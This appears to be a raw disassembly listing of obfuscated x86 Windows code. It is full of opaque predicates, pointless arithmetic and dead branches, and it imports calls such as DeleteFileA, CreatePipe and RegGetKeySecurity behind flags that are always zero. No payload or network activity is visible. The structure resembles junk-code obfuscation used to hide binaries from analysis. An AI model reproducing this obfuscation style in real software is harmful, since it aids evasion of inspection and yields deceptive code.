mov eax, dword [ebp - 0x678]
inc eax
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], 2
jge 0x472dd3
push dword [ebp - 0x678]
lea ecx, [ebp - 0x26e4]
call fcn.00435532
and dword [eax], 0
jmp 0x472da7
push 0
lea ecx, [ebp - 0x26e4]
call fcn.00435532
and dword [eax], 0
jmp 0x472e09
push 0
lea ecx, [ebp - 0x26e4]
call fcn.00435532
mov dword [ebp - 0x1ef0], eax
mov eax, dword [ebp - 0x1ef0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1ef0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x26e4]
call fcn.00435532
cmp dword [eax], 0xfffffff3
jg 0x472e48
mov dword [ebp - 0x38cc], 0
mov dword [ebp - 0x3d50], 0xfffffff9
mov dword [ebp - 0x34e8], 0xfffffffe
mov eax, dword [ebp - 0xe04]
inc eax
mov dword [ebp - 0xe04], eax
jmp 0x472de5
mov eax, dword [ebp - 0xbe4]
add eax, dword [ebp - 0x1ef8]
cmp eax, 0x93fe6966
jne 0x472e67
mov dword [ebp - 0xe0c], 1
jmp 0x472e6e
and dword [ebp - 0xe0c], 0
mov esi, dword [ebp - 0x1ef8]
push 0
lea ecx, [ebp - 0x26e4]
call fcn.00435532
sub esi, dword [eax]
cmp esi, dword [ebp - 0xe0c]
jg 0x472e97
mov dword [ebp - 0x28ec], 1
jmp 0x472e9e
and dword [ebp - 0x28ec], 0
cmp dword [ebp - 0xbe4], 0
je 0x472ebc
mov eax, 0x51dd
test eax, eax
je 0x472ebc
mov dword [ebp - 0x1f00], 1
jmp 0x472ec3
and dword [ebp - 0x1f00], 0
cmp dword [ebp - 0x1f00], 3
jbe 0x472ed8
mov dword [ebp - 0xe14], 1
jmp 0x472edf
and dword [ebp - 0xe14], 0
mov eax, dword [ebp - 0xe2c]
sub eax, dword [ebp - 0xe14]
cmp eax, dword [ebp - 0x28f4]
jl 0x472eff
mov dword [ebp - 0x1f08], 1
jmp 0x472f06
and dword [ebp - 0x1f08], 0
mov eax, dword [ebp - 0xbe4]
imul eax, dword [ebp - 0x1f08]
cmp eax, 0x58fc5674
jne 0x472f26
mov dword [ebp - 0xe1c], 1
jmp 0x472f2d
and dword [ebp - 0xe1c], 0
mov eax, dword [ebp - 0x1f20]
cmp dword [ebp - 0xe1c], eax
jle 0x472f47
mov dword [ebp - 0x1f10], 1
jmp 0x472f4e
and dword [ebp - 0x1f10], 0
cmp dword [ebp - 0x1f10], 0xad74
jne 0x472f66
mov dword [ebp - 0xe24], 1
jmp 0x472f6d
and dword [ebp - 0xe24], 0
push 0
lea ecx, [ebp - 0x26e4]
call fcn.00435532
mov ecx, dword [ebp - 0xe24]
cmp ecx, dword [eax]
jg 0x472f90
mov dword [ebp - 0x1f18], 1
jmp 0x472f97
and dword [ebp - 0x1f18], 0
mov eax, dword [ebp - 0x28fc]
cmp eax, dword [ebp - 0x1f18]
je 0x472fb1
mov dword [ebp - 0x2904], 1
jmp 0x472fb8
and dword [ebp - 0x2904], 0
mov eax, dword [ebp - 0xe2c]
mov dword [ebp - 0x34f0], eax
mov dword [ebp - 0x1f20], 0x6d7d0454
lea ecx, [ebp - 0x26e4]
call fcn.00435516
cmp dword [ebp + 8], 2
jl 0x47da02
push 4
lea ecx, [ebp - 0xc98]
call fcn.00435444
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0x5f4], 1
mov dword [ebp - 0x920], 0
jmp 0x47301d
mov eax, dword [ebp - 0x920]
inc eax
mov dword [ebp - 0x920], eax
cmp dword [ebp - 0x920], 4
jge 0x47303f
push dword [ebp - 0x920]
lea ecx, [ebp - 0xc98]
call fcn.00435532
mov dword [eax], 1
jmp 0x473010
mov eax, 0x4561
test eax, eax
je 0x473076
push 2
lea ecx, [ebp - 0xc98]
call fcn.00435532
mov esi, eax
push 2
lea ecx, [ebp - 0xc98]
call fcn.00435532
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x473076
mov dword [ebp - 0xe34], 1
jmp 0x47307d
and dword [ebp - 0xe34], 0
cmp dword [ebp - 0xe34], 0xffffffff
jne 0x4730a4
push 2
lea ecx, [ebp - 0xc98]
call fcn.00435532
cmp dword [eax], 0
je 0x4730a4
mov dword [ebp - 0x1f28], 1
jmp 0x4730ab
and dword [ebp - 0x1f28], 0
cmp dword [ebp - 0x1f28], 1
jl 0x4730c0
mov dword [ebp - 0xe3c], 1
jmp 0x4730c7
and dword [ebp - 0xe3c], 0
imul eax, dword [ebp - 0xe3c], 0
test eax, eax
je 0x4730f0
push 1
lea ecx, [ebp - 0xc98]
call fcn.00435532
cmp dword [eax], 0
je 0x4730f0
mov dword [ebp - 0x1f30], 1
jmp 0x4730f7
and dword [ebp - 0x1f30], 0
push 2
lea ecx, [ebp - 0xc98]
call fcn.00435532
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1f30]
jl 0x47311a
mov dword [ebp - 0xe44], 1
jmp 0x473121
and dword [ebp - 0xe44], 0
mov eax, dword [ebp - 0xe44]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
je 0x473154
push 2
lea ecx, [ebp - 0xc98]
call fcn.00435532
cmp dword [eax], 0
je 0x473154
mov dword [ebp - 0x1f38], 1
jmp 0x47315b
and dword [ebp - 0x1f38], 0
cmp dword [ebp - 0x1f38], 0x3b9da4d0
jl 0x473173
mov dword [ebp - 0xe4c], 1
jmp 0x47317a
and dword [ebp - 0xe4c], 0
push 2
lea ecx, [ebp - 0xc98]
call fcn.00435532
mov ecx, dword [ebp - 0xe4c]
sub ecx, 0x1eca6c84
cmp dword [eax], ecx
jle 0x473356
mov dword [ebp - 0xabc], 0xfffffffc
mov dword [ebp - 0xcc], 0xffffffe5
jmp 0x4731be
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xffffffe7
jle 0x473324
mov dword [ebp - 0x1f50], 7
push 4
lea ecx, [ebp - 0x3260]
call fcn.00435444
mov dword [ebp - 0x680], 0
jmp 0x4731fb
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 4
jge 0x47321d
push dword [ebp - 0x680]
lea ecx, [ebp - 0x3260]
call fcn.00435532
mov dword [eax], 0x4b52dd86
jmp 0x4731ee
push 3
lea ecx, [ebp - 0xc98]
call fcn.00435532
mov ecx, dword [ebp - 0xabc]
cmp dword [eax], ecx
jle 0x473240
mov dword [ebp - 0x1f40], 1
jmp 0x473247
and dword [ebp - 0x1f40], 0
push 3
lea ecx, [ebp - 0xc98]
call fcn.00435532
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1f40]
jle 0x47326a
mov dword [ebp - 0xe54], 1
jmp 0x473271
and dword [ebp - 0xe54], 0
cmp dword [ebp - 0xe54], 0xaba9a984
jbe 0x473289
mov dword [ebp - 0x1f48], 1
jmp 0x473290
and dword [ebp - 0x1f48], 0
mov eax, dword [ebp - 0x1f48]
add eax, 0x79dc8669
cmp eax, dword [ebp - 0xabc]
jg 0x4732af
mov dword [ebp - 0xe5c], 1
jmp 0x4732b6
and dword [ebp - 0xe5c], 0
imul eax, dword [ebp - 0xe5c], 0x758b
cmp eax, dword [ebp - 0x1f50]
jne 0x4732d4
mov dword [ebp - 0xe64], 1
jmp 0x4732db
and dword [ebp - 0xe64], 0
mov eax, dword [ebp - 0x1f50]
imul eax, dword [ebp - 0xe64]
test eax, eax
jne 0x4732f8
mov dword [ebp - 0x1f58], 1
jmp 0x4732ff
and dword [ebp - 0x1f58], 0
push 3
lea ecx, [ebp - 0x3260]
call fcn.00435532
mov ecx, dword [ebp - 0x1f58]
mov dword [eax], ecx
lea ecx, [ebp - 0x3260]
call fcn.00435516
jmp 0x4731b1
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0xabc], eax
jg 0x47333e
mov dword [ebp - 0xe6c], 1
jmp 0x473345
and dword [ebp - 0xe6c], 0
mov eax, dword [ebp - 0xe6c]
mov dword [ebp - 0xcc], eax
jmp 0x473467
push 3
lea ecx, [ebp - 0x33e0]
call fcn.00435444
mov dword [ebp - 0x848], 0
jmp 0x47337c
mov eax, dword [ebp - 0x848]
inc eax
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x848], 3
jge 0x47339e
push dword [ebp - 0x848]
lea ecx, [ebp - 0x33e0]
call fcn.00435532
mov dword [eax], 0x4846e1d6
jmp 0x47336f
mov dword [ebp - 0xcc], 0xffffffee
jmp 0x4733b7
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xfffffffa
jle 0x473419
mov dword [ebp - 0x53c], 0xfffffffe
mov dword [ebp - 0x53c], 7
jmp 0x4733e3
mov eax, dword [ebp - 0x53c]
dec eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0
je 0x47340b
mov byte [ebp - 0x2db], 0
movzx eax, byte [ebp - 0x2db]
test eax, eax
je 0x473409
push 0x827
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x4733d6
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x5f4], eax
jmp 0x4733aa
mov dword [ebp - 0x5f4], 0xffffffe8
jmp 0x473432
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 6
jl 0x47345c
mov dword [ebp - 0x290c], 0
push 2
lea ecx, [ebp - 0x33e0]
call fcn.00435532
mov eax, dword [eax]
mov dword [ebp - 0x290c], eax
jmp 0x473425
lea ecx, [ebp - 0x33e0]
call fcn.00435516
lea ecx, [ebp - 0xc98]
call fcn.00435516
push 1
lea eax, [ebp - 0x40f4]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.0046ddcd
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x3eb0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x3eb0]
lea edi, [ebp - 0x2eec]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 3
lea ecx, [ebp - 0xa24]
call fcn.00435444
push 4
lea ecx, [ebp - 0x27bc]
call fcn.00435444
mov dword [ebp - 0xc74], 0x1d4595a2
mov dword [ebp - 0xe84], 0
mov dword [ebp - 0x2ab4], 1
mov dword [ebp - 0x190], 0
jmp 0x4734f2
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 3
jge 0x473511
push dword [ebp - 0x190]
lea ecx, [ebp - 0xa24]
call fcn.00435532
or dword [eax], 0xffffffff
jmp 0x4734e5
mov dword [ebp - 0x190], 0
jmp 0x47352a
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 4
jge 0x473549
push dword [ebp - 0x190]
lea ecx, [ebp - 0x27bc]
call fcn.00435532
and dword [eax], 0
jmp 0x47351d
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
cmp dword [eax], 0xfffc
jae 0x47356a
mov dword [ebp - 0x1f60], 1
jmp 0x473571
and dword [ebp - 0x1f60], 0
cmp dword [ebp - 0x1f60], 0
jge 0x473586
mov dword [ebp - 0x2a9c], 1
jmp 0x47358d
and dword [ebp - 0x2a9c], 0
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
cmp dword [eax], 0x3a4d
je 0x4735ae
mov dword [ebp - 0xe74], 1
jmp 0x4735b5
and dword [ebp - 0xe74], 0
mov eax, dword [ebp - 0xe74]
neg eax
mov dword [ebp - 0x1f68], eax
push 1
lea ecx, [ebp - 0x27bc]
call fcn.00435532
mov ecx, dword [ebp - 0x1f68]
mov dword [eax], ecx
mov esi, dword [ebp - 0x1f68]
sub esi, 0xc3d2
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
cmp esi, dword [eax]
jg 0x473601
mov dword [ebp - 0xe7c], 1
jmp 0x473608
and dword [ebp - 0xe7c], 0
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
mov ecx, dword [ebp - 0xe7c]
cmp ecx, dword [eax]
jne 0x47362b
mov dword [ebp - 0x2aa4], 1
jmp 0x473632
and dword [ebp - 0x2aa4], 0
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
mov ecx, dword [ebp - 0xc74]
cmp dword [eax], ecx
jg 0x473662
mov dword [ebp - 0x1f70], 1
jmp 0x473669
and dword [ebp - 0x1f70], 0
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
mov eax, dword [ebp - 0x1f70]
sub eax, dword [ebp - 0xc74]
mov dword [ebp - 0xe84], eax
mov eax, dword [ebp - 0xe84]
mov dword [ebp - 0x34f8], eax
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
cmp dword [eax], 0
je 0x4736c4
push 1
lea ecx, [ebp - 0x27bc]
call fcn.00435532
cmp dword [eax], 0
je 0x4736c4
mov dword [ebp - 0x1f78], 1
jmp 0x4736cb
and dword [ebp - 0x1f78], 0
cmp dword [ebp - 0x1f78], 0
jb 0x4736e0
mov dword [ebp - 0xe8c], 1
jmp 0x4736e7
and dword [ebp - 0xe8c], 0
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
mov esi, dword [ebp - 0xe8c]
add esi, dword [eax]
push 0
lea ecx, [ebp - 0xa24]
call fcn.00435532
sub esi, dword [eax]
cmp esi, 0xf6f0c3da
jbe 0x47371f
mov dword [ebp - 0x2aac], 1
jmp 0x473726
and dword [ebp - 0x2aac], 0
push 1
lea ecx, [ebp - 0xa24]
call fcn.00435532
push 3
lea ecx, [ebp - 0x27bc]
call fcn.00435532
push 3
lea ecx, [ebp - 0x27bc]
call fcn.00435532
mov ecx, dword [ebp - 0xc74]
cmp dword [eax], ecx
je 0x473763
mov dword [ebp - 0x1f80], 1
jmp 0x47376a
and dword [ebp - 0x1f80], 0
mov eax, dword [ebp - 0x1f80]
mov dword [ebp - 0x2ab4], eax
lea ecx, [ebp - 0x27bc]
call fcn.00435516
lea ecx, [ebp - 0xa24]
call fcn.00435516
mov dword [ebp - 0x9c0], 0x2c03342e
mov dword [ebp - 0x3500], 0x126ff23b
mov dword [ebp - 0x3508], 0x8cccddd
mov dword [ebp - 0x3510], 0x576c5165
mov dword [ebp - 0x3518], 7
mov dword [ebp - 0x3520], 0xfffffff7
mov dword [ebp - 0x3528], 9
mov dword [ebp - 0x3530], 0x84bc9c3
mov dword [ebp - 0x3cfc], 3
mov dword [ebp - 0x3cf8], 3
mov dword [ebp - 0x3cf4], 3
mov dword [ebp - 0x3cf0], 3
mov dword [ebp - 0x3184], 0x4b0b4ef6
mov dword [ebp - 0x3180], 0x4b0b4ef6
mov dword [ebp - 0x317c], 0x4b0b4ef6
mov dword [ebp - 0x3178], 0x4b0b4ef6
lea ecx, [ebp - 0xbd9]
call fcn.00435541
push eax
lea eax, [ebp - 0x3174]
push eax
lea eax, [ebp - 0x3184]
push eax
lea ecx, [ebp - 0x406c]
call fcn.00435544
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3f10]
call fcn.004354f0
push 1
lea ecx, [ebp - 0x3278]
call fcn.00435444
mov dword [ebp - 0x688], 0
jmp 0x473887
mov eax, dword [ebp - 0x688]
inc eax
mov dword [ebp - 0x688], eax
cmp dword [ebp - 0x688], 1
jge 0x4738a9
push dword [ebp - 0x688]
lea ecx, [ebp - 0x3278]
call fcn.00435532
mov dword [eax], 0x7aebb1bb
jmp 0x47387a
mov dword [ebp - 0x9c0], 0
jmp 0x4738c2
mov eax, dword [ebp - 0x9c0]
inc eax
mov dword [ebp - 0x9c0], eax
cmp dword [ebp - 0x9c0], 3
jge 0x47391e
mov dword [ebp - 0x690], 0x38ecf54c
mov dword [ebp - 0x690], 0xffffffea
jmp 0x4738ee
mov eax, dword [ebp - 0x690]
inc eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 0x10
jl 0x47391c
mov byte [ebp - 0x2dd], 0
movzx eax, byte [ebp - 0x2dd]
test eax, eax
je 0x47391a
push 0x113f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
jmp 0x4738e1
jmp 0x4738b5
push 0
lea ecx, [ebp - 0x3278]
call fcn.00435532
mov dword [ebp - 0xe94], eax
mov eax, dword [ebp - 0xe94]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xe94]
mov dword [ecx], eax
lea ecx, [ebp - 0x3278]
call fcn.00435516
lea ecx, [ebp - 0x3f10]
call fcn.00435516
mov dword [ebp - 0x124], 0xfffffffc
mov dword [ebp - 0x218], 0x8114768c
mov dword [ebp - 0xec], 0
mov dword [ebp - 0x29c], 0x8716b5b3
push 4
lea ecx, [ebp - 0xd7c]
call fcn.00435444
mov dword [ebp - 0xce8], 0xffffffff
mov dword [ebp - 0x850], 0
jmp 0x4739b0
mov eax, dword [ebp - 0x850]
inc eax
mov dword [ebp - 0x850], eax
cmp dword [ebp - 0x850], 4
jge 0x4739cf
push dword [ebp - 0x850]
lea ecx, [ebp - 0xd7c]
call fcn.00435532
and dword [eax], 0
jmp 0x4739a3
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
je 0x473ac6
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x3538], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
add eax, 0x9751
cmp eax, 0x4edf6b3e
jl 0x473a1e
mov dword [ebp - 0x2abc], 1
jmp 0x473a25
and dword [ebp - 0x2abc], 0
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x3540], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x3548], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x3550], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x3558], eax
xor eax, eax
inc eax
je 0x473a6f
mov eax, 0x9035
test eax, eax
je 0x473a6f
mov dword [ebp - 0x1f88], 1
jmp 0x473a76
and dword [ebp - 0x1f88], 0
cmp dword [ebp - 0x1f88], 1
jne 0x473a8b
mov dword [ebp - 0xe9c], 1
jmp 0x473a92
and dword [ebp - 0xe9c], 0
mov eax, dword [ebp - 0xe9c]
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 1
jne 0x473ab3
mov dword [ebp - 0x1f90], 1
jmp 0x473aba
and dword [ebp - 0x1f90], 0
mov eax, dword [ebp - 0x1f90]
sub eax, dword [ebp - 0xec]
xor eax, eax
inc eax
je 0x473ee5
mov dword [ebp - 0xec4], 2
mov dword [ebp - 0x3560], 0x8ef544bd
mov dword [ebp - 0x29c], 0
jmp 0x473afc
mov eax, dword [ebp - 0x29c]
dec eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0xffffffeb
jg 0x473ee3
mov dword [ebp - 0xac4], 0xfffffffd
mov dword [ebp - 0x2adc], 0
mov dword [ebp - 0x698], 0
jmp 0x473b36
mov eax, dword [ebp - 0x698]
inc eax
mov dword [ebp - 0x698], eax
cmp dword [ebp - 0x698], 1
jge 0x473b52
mov eax, dword [ebp - 0x698]
mov dword [ebp + eax*4 - 0x2ac4], 0xffffffff
jmp 0x473b29
cmp dword [ebp - 0xec4], 0
je 0x473b60
jmp 0x473ee3
mov dword [ebp - 0x124], 0
jmp 0x473b79
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 3
jg 0x473ede
mov dword [ebp - 0xacc], 0x7d594484
mov dword [ebp - 0x2ad4], 0
mov dword [ebp - 0xec], 0
jmp 0x473bb3
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 3
jg 0x473e8e
push 3
lea ecx, [ebp - 0x2cbc]
call fcn.00435444
mov dword [ebp - 0xebc], 0xfffffffb
mov dword [ebp - 0x928], 0
jmp 0x473bf0
mov eax, dword [ebp - 0x928]
inc eax
mov dword [ebp - 0x928], eax
cmp dword [ebp - 0x928], 3
jge 0x473c12
push dword [ebp - 0x928]
lea ecx, [ebp - 0x2cbc]
call fcn.00435532
mov dword [eax], 0xf80453d4
jmp 0x473be3
mov byte [ebp - 0x2df], 0
movzx eax, byte [ebp - 0x2df]
test eax, eax
je 0x473c32
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
mov dword [ebp - 0x218], 3
jmp 0x473c4b
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jl 0x473e7e
mov dword [ebp - 0x3568], 0x1563cfeb
mov eax, dword [ebp - 0xac4]
dec eax
mov dword [ebp - 0xac4], eax
cmp dword [ebp - 0xac4], 2
je 0x473c84
mov dword [ebp - 0xeb4], 1
jmp 0x473c8b
and dword [ebp - 0xeb4], 0
cmp dword [ebp - 0x29c], 0xa7bb
jle 0x473ca3
mov dword [ebp - 0xea4], 1
jmp 0x473caa
and dword [ebp - 0xea4], 0
push 0
lea ecx, [ebp - 0x2cbc]
call fcn.00435532
mov ecx, dword [ebp - 0xea4]
add ecx, dword [eax]
mov dword [ebp - 0x1f98], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1f98]
mov dword [ebp + eax - 0x2ac4], ecx
push 0
lea ecx, [ebp - 0x2cbc]
call fcn.00435532
mov ecx, dword [ebp - 0x1f98]
cmp ecx, dword [eax]
jl 0x473cfb
mov dword [ebp - 0xeac], 1
jmp 0x473d02
and dword [ebp - 0xeac], 0
cmp dword [ebp - 0xeac], 0x2eae2646
jge 0x473d1a
mov dword [ebp - 0x1fa0], 1
jmp 0x473d21
and dword [ebp - 0x1fa0], 0
cmp dword [ebp - 0x1fa0], 0xfffffffa
jge 0x473d3c
cmp dword [ebp - 0xebc], 0
jne 0x473d3c
and dword [ebp - 0x2acc], 0
jmp 0x473d46
mov dword [ebp - 0x2acc], 1
push dword [ebp - 0x124]
lea ecx, [ebp - 0xd7c]
call fcn.00435532
push dword [ebp - 0x124]
lea ecx, [ebp - 0xd7c]
call fcn.00435532
mov esi, eax
push 2
lea ecx, [ebp - 0xd7c]
call fcn.00435532
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x473d89
mov dword [ebp - 0x1fa8], 1
jmp 0x473d90
and dword [ebp - 0x1fa8], 0
mov eax, dword [ebp - 0xeb4]
cmp eax, dword [ebp - 0x1fa8]
jge 0x473da5
cmp dword [ebp - 0xebc], 0
cmp dword [ebp - 0xacc], 0xb8fba323
jae 0x473dc1
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x473dc1
and dword [ebp - 0xbec], 0
jmp 0x473dcb
mov dword [ebp - 0xbec], 1
push 3
lea ecx, [ebp - 0xd7c]
call fcn.00435532
mov ecx, dword [ebp - 0xbec]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x2cbc]
call fcn.00435532
mov ecx, dword [ebp - 0xbec]
cmp ecx, dword [eax]
je 0x473e03
mov dword [ebp - 0x1fb0], 1
jmp 0x473e0a
and dword [ebp - 0x1fb0], 0
mov eax, dword [ebp - 0x124]
imul eax, dword [ebp - 0x1fb0]
mov dword [ebp - 0xce8], eax
mov eax, dword [ebp - 0xec4]
cmp dword [ebp - 0xce8], eax
jge 0x473e37
mov dword [ebp - 0x1fb8], 1
jmp 0x473e3e
and dword [ebp - 0x1fb8], 0
mov eax, dword [ebp - 0x1fb8]
add eax, 0x1943ec3e
jne 0x473e5d
cmp dword [ebp - 0xacc], 0
jne 0x473e5d
and dword [ebp - 0xecc], 0
jmp 0x473e67
mov dword [ebp - 0xecc], 1
mov eax, dword [ebp - 0x2ad4]
add eax, dword [ebp - 0xecc]
mov dword [ebp - 0x2adc], eax
jmp 0x473c3e
lea ecx, [ebp - 0x2cbc]
call fcn.00435516
jmp 0x473ba6
push dword [ebp - 0x124]
lea ecx, [ebp - 0xd7c]
call fcn.00435532
cmp dword [eax], 0
je 0x473eb9
cmp dword [ebp - 0xacc], 0
je 0x473eb9
mov dword [ebp - 0x1fc0], 1
jmp 0x473ec0
and dword [ebp - 0x1fc0], 0
push dword [ebp - 0x124]
lea ecx, [ebp - 0xd7c]
call fcn.00435532
mov ecx, dword [ebp - 0x1fc0]
mov dword [eax], ecx
jmp 0x473b6c
jmp 0x473aef
jmp 0x473eff
mov byte [ebp - 0x2e1], 0
movzx eax, byte [ebp - 0x2e1]
test eax, eax
je 0x473eff
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x218], 0
je 0x473f47
push 2
lea ecx, [ebp - 0xd7c]
call fcn.00435532
mov eax, dword [eax]
dec eax
cmp eax, 0xfffffffc
jne 0x473f29
mov dword [ebp - 0xed4], 1
jmp 0x473f30
and dword [ebp - 0xed4], 0
mov eax, dword [ebp - 0xce8]
cmp eax, dword [ebp - 0xed4]
je 0x473f47
and dword [ebp - 0x1fc8], 0
jmp 0x473f51
mov dword [ebp - 0x1fc8], 1
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x1fc8], eax
je 0x473f6b
mov dword [ebp - 0xedc], 1
jmp 0x473f72
and dword [ebp - 0xedc], 0
mov eax, dword [ebp - 0xedc]
mov dword [ebp - 0x29c], eax
lea ecx, [ebp - 0xd7c]
call fcn.00435516
push 4
lea ecx, [ebp - 0x9fc]
call fcn.00435444
mov dword [ebp - 0x324], 1
mov dword [ebp - 0x13c], 0x76c3a0b8
mov dword [ebp - 0x174], 0x84515fdc
push 2
lea ecx, [ebp - 0x2cdc]
call fcn.00435444
mov dword [ebp - 0xf2c], 0x4d7aeb8f
mov dword [ebp - 0x6a0], 0
jmp 0x473fe4
mov eax, dword [ebp - 0x6a0]
inc eax
mov dword [ebp - 0x6a0], eax
cmp dword [ebp - 0x6a0], 2
jge 0x474006
push dword [ebp - 0x6a0]
lea ecx, [ebp - 0x2cdc]
call fcn.00435532
mov dword [eax], 0x74a52027
jmp 0x473fd7
mov dword [ebp - 0x324], 0x1a
jmp 0x47401f
mov eax, dword [ebp - 0x324]
dec eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0xfffffff2
jle 0x474141
push 3
lea ecx, [ebp - 0x2ccc]
call fcn.00435444
mov dword [ebp - 0x858], 0
jmp 0x474052
mov eax, dword [ebp - 0x858]
inc eax
mov dword [ebp - 0x858], eax
cmp dword [ebp - 0x858], 3
jge 0x474074
push dword [ebp - 0x858]
lea ecx, [ebp - 0x2ccc]
call fcn.00435532
mov dword [eax], 0xfffd
jmp 0x474045
push 0
lea ecx, [ebp - 0x2ccc]
call fcn.00435532
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
je 0x4740f2
push 0
lea ecx, [ebp - 0x2ccc]
call fcn.00435532
cmp dword [eax], 0
je 0x4740b0
mov dword [ebp - 0x1fd0], 1
jmp 0x4740b7
and dword [ebp - 0x1fd0], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x1fd0], eax
je 0x4740d1
mov dword [ebp - 0xee4], 1
jmp 0x4740d8
and dword [ebp - 0xee4], 0
mov eax, dword [ebp - 0x324]
cmp dword [ebp - 0xee4], eax
jle 0x4740f2
mov dword [ebp - 0x2ae4], 1
jmp 0x4740f9
and dword [ebp - 0x2ae4], 0
push 0
lea ecx, [ebp - 0x2ccc]
call fcn.00435532
mov dword [ebp - 0x174], 0x8f01ba02
mov byte [ebp - 0x2e3], 0
movzx eax, byte [ebp - 0x2e3]
test eax, eax
je 0x474131
push 0x16a3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea ecx, [ebp - 0x2ccc]
call fcn.00435516
jmp 0x474012
mov dword [ebp - 0x174], 0
jmp 0x47415a
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 1
jg 0x474531
mov dword [ebp - 0xad4], 0x36a5b5cf
mov dword [ebp - 0x464], 0xe834ab4
mov dword [ebp - 0x2af4], 0x5f14
mov dword [ebp - 0x13c], 1
jmp 0x47419e
mov eax, dword [ebp - 0x13c]
dec eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jl 0x47452c
mov dword [ebp - 0x514], 0xb69c93e3
mov dword [ebp - 0x2aec], 0x8d81
mov dword [ebp - 0x2afc], 0xb924e19c
cmp dword [ebp - 0x13c], 6
jbe 0x4741de
mov dword [ebp - 0x1fd8], 1
jmp 0x4741e5
and dword [ebp - 0x1fd8], 0
push dword [ebp - 0x174]
lea ecx, [ebp - 0x2cdc]
call fcn.00435532
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1fd8]
je 0x47420c
mov dword [ebp - 0xef4], 1
jmp 0x474213
and dword [ebp - 0xef4], 0
mov eax, 0xc65b0b56
test eax, eax
je 0x47423a
push 0
lea ecx, [ebp - 0x2cdc]
call fcn.00435532
cmp dword [eax], 0
je 0x47423a
mov dword [ebp - 0xeec], 1
jmp 0x474241
and dword [ebp - 0xeec], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0xeec], eax
jne 0x47425b
mov dword [ebp - 0x1fe0], 1
jmp 0x474262
and dword [ebp - 0x1fe0], 0
mov eax, dword [ebp - 0x1fe0]
mov dword [ebp - 0xad4], eax
mov eax, dword [ebp - 0x464]
cmp dword [ebp - 0xad4], eax
jl 0x474288
mov dword [ebp - 0x1fe8], 1
jmp 0x47428f
and dword [ebp - 0x1fe8], 0
